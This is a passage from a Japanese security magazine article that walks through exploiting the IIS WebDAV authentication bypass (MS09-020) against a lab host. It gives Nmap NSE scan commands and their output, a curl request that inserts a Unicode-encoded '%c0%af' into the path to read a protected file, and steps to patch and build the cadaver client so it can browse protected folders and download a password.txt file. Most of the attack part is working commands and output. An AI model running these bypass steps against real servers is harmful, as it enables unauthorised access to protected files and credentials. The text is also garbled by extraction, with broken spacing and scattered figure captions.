性 のあるフォルダ 名 についても 記 載 されている 脆 弱 性 を 突 いたアタックを 行 うには? MS09-020 の 脆 弱 性 は 攻 撃 者 が 特 別 な 細 工 がされた HTTP リクエストを 認 証 が 必 要 な Web サイトに 送 信 した 場 合 特 権 が 昇 格 される 可 能 性 図 13 脆 弱 性 を 突 いたアタックを 行 うには? http-iis-webdav-vulnの 実 行 例 root@bt:/# nmap -p80 --script=http-iis-webdav-vuln 192.168.241.137 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-09 11:15 JST Nmap scan report for 192.168.241.137 Host is up (0.00035s latency). 80/tcp open http _ http-iis-webdav-vuln: WebDAV is ENABLED. Vulnerable folders discovered: /private, /webdav MAC Address: 00:0C:29:20:81:67 (VMware) Nmap done: 1 IP address (1 host up) scanned in 2.02 seconds と 説 明 されている 192.168.241.137 に 対 してスキャンした 例 WebDAV is ENABLED と 表 示 されフォ ルダ 名 が 列 挙 されていることがわかる ターゲットの 場 合 先 ほど 実 行 した http-iiswebdav-vuln の 結 果 から Vulnerable folders discovered 以 下 にあるフォルダ(/private およ び /webdav)が 認 証 を 必 要 とするWebDAV のフォ ルダであるということがわかる 試 しにブラウザーでアクセスして みると 図 14 のように 認 証 を 求 めら れアクセスすることができない 脆 弱 性 のあるターゲットでは アクセ ス 時 の HTTP リクエストを /private から /% c0% afprivate(% c0% af+ フォル ダ 名 ) と Unicode-encoded string を 挿 入 する 形 でアクセスすれ ば 認 証 を 回 避 できる 例 えば /webdav ディレクトリ 内 に test.txt というファイルがあると 想 定 できるのであれば 図 15 のよう に curl コマンドを 利 用 すればアクセ スできる このテキストには hacker japan と 1 行 だけ 記 載 されている しかし このままでは 実 際 に 脆 弱 性 を 突 いてアクセスするには 保 護 されたフォルダの 中 身 がわからなけ ればならない 図 14 ない 図 15 ブラウザーでアクセスしたところ このように 認 証 を 求 められアクセスでき curlコマンドでファイルの 内 容 を 表 示 する root@bt:~# curl -H "Translate: f" http:// 192.168.241.137/%c0%afwebdav/test.txt Unicode-encoded string hacker japan HTTP リクエストに Unicode-encoded string を 挿 入 してアクセスした 例 保 護 フォ ルダの 内 部 のファイル 名 がわかっていれば アクセス 可 能 だ test.txt 内 部 に 記 述 されている hacker japan が 表 示 されていることがわかる WebDAVクライアントに パッチを 当 てて 脆 弱 性 を 突 く WebDAV クライアントにパッチを 当 てて 脆 弱 性 を 突 く 先 ほどの curl コマンドなどでのア クセスでは 事 前 に 認 証 をバイパス するフォルダ 内 のファイル 名 がわかっ ていなければそれらを 入 手 すること ができない では 脆 弱 性 のあるフォルダに 対 して 実 際 に 細 工 がされた HTTP リ クエスト を 使 ってのテストを 簡 単 に 行 うには どうしたらよいだろうか できれば 簡 単 に 脆 弱 性 を 突 いたア クセスが 行 える 上 に フォルダ 内 部 のファイル 名 の 閲 覧 そしてそれらの ファイルをダウンロードできることが 望 ましいだろう そ こ で 記 事 で は 例 と し て S k u l l S e c u r i t y で 公 開 さ れ て い る 130
PART1 脆 弱 性 発 見 の WebDAVクライアント cadaver の パッチ 3 を 適 用 し 自 動 的 に 脆 弱 性 の あるフォルダへアクセスしてみよう はじめに SkullSecurity の Web サ イトより cadaver-0.23.2 用 のパッチ cadaver-0.23.2-h4x.patch を 適 用 す るまでを 解 説 する とはいっても 難 しいところは 全 く ない cadaver のオフィシャルサイト より cadaver-0.23.2.tar.gz をダウン ロードして 公 開 されているパッチ を 適 用 してコンパイルすればよいだ けだ( 図 16) パッチ 適 用 済 みのcadaverで 脆 弱 性 のあるターゲットへ 接 続 する パッチ 適 応 用 みの cadaver で 脆 弱 性 のあるターゲットへ 接 続 する 実 行 テストは cadaver < ターゲッ トアドレス > で 接 続 が 完 了 すれば あとは cd/ls/get などのコマンド 操 作 が 行 えるようになるので 非 常 に 簡 単 である 例 えば http-iis-webdav-vuln の スキャン 結 果 で Vulnerable folders discovered: /private, /webdav と 表 示 さ れたのであれば cdコマンドでこれらの フォルダへ 移 動 すればよいわけだ 続 い てlsコマンドでフォルダ 内 部 のファイル を 確 認 して 必 要 なものをgetコマンド でダウンロードするといった 具 合 である ( 図 17) 他 にも 方 法 はあるのであくまでも 一 例 で あ る が こ れで http-iiswebdav-vuln スキャンから 脆 弱 性 を 突 いてのアクセスまでをチェックす ることができた NSE を 使 った 脆 弱 性 調 査 について 駆 け 足 で 紹 介 してきたが 記 事 を 読 めば 単 なるポートスキャナーだけに とどまらない Nmap の 新 たな 側 面 を ご 理 解 いただけると 思 う NSE のライ ブラリは 今 回 紹 介 したもの 以 外 にもま だまだたくさんある 読 者 の 方 にはぜ ひともチャレンジしていただきたい 図 16 cadaverのパッチをインストール root@bt:~# wget http://www.webdav.org/cadaver/cadaver- 0.23.2.tar.gz cadaver 2011-01-09 13:35:23 (385 KB/s) - `cadaver-0.23.2.tar.gz' saved [757303/757303] root@bt:~# tar xvzf cadaver-0.23.2.tar.gz cadaver-0.23.2/ cadaver-0.23.2/changelog ソースコードのコンパイルと 聞 くとハードルが 高 いと 感 じるが cadaver の 場 合 は いくつかのコマンドを 実 行 するだけでよい root@bt:~# wget http://www.skullsecurity.org/blogdata/ cadaver-0.23.2-h4x.patch 2011-01-09 13:35:50 (149 MB/s) - `cadaver-0.23.2-h4x. patch' saved [2849/2849] root@bt:~# cd cadaver-0.23.2 root@bt:~/cadaver-0.23.2# patch -p1 <../cadaver-0.23.2- h4x.patch patching file lib/neon/ne _ basic.c patching file lib/neon/ne _ request.c patching file lib/neon/ne _ uri.c root@bt:~/cadaver-0.23.2#./conigure configure root@bt:~/cadaver-0.23.2# make root@bt:~/cadaver-0.23.2# make install 図 17 パッチをあてたcadaverでターゲットへ 接 続 root@bt:/# cadaver 192.168.241.137 dav:/> cd /webdav webdav dav:/webdav/> ls Listing collection `/webdav/': succeeded. test.txt 14 Jan 10 01:58 dav:/webdav/> cd.. dav:/> cd private private dav:/private/> ls Listing collection `/private/': succeeded. index.htm password.txt 40 Jan 10 12:58 dav:/private/> get password.txt password.txt Downloading `/private/password.txt' to password.txt: Progress: [=============================>] 100.0% of 40 bytes succeeded. dav:/private/> exit Connection to `192.168.241.137' closed. cadaver を 使 用 してターゲットへ 接 続 し 簡 単 なチェックを 行 った 例 cd コマンド で http-iis-webdav-vuln で 表 示 されたフォルダ 名 で 移 動 し ls コマンドでフォ ルダ 内 のファイルをチェックしている 入 手 したいファイルがあれば get コマン ドでダウンロードすることもできる 3 WebDAV Detection, Vulnerability Checking and Exploitation http://www.skullsecurity.org/blog/2009/webdav-detection-vulnerability-checking-and-exploitation 131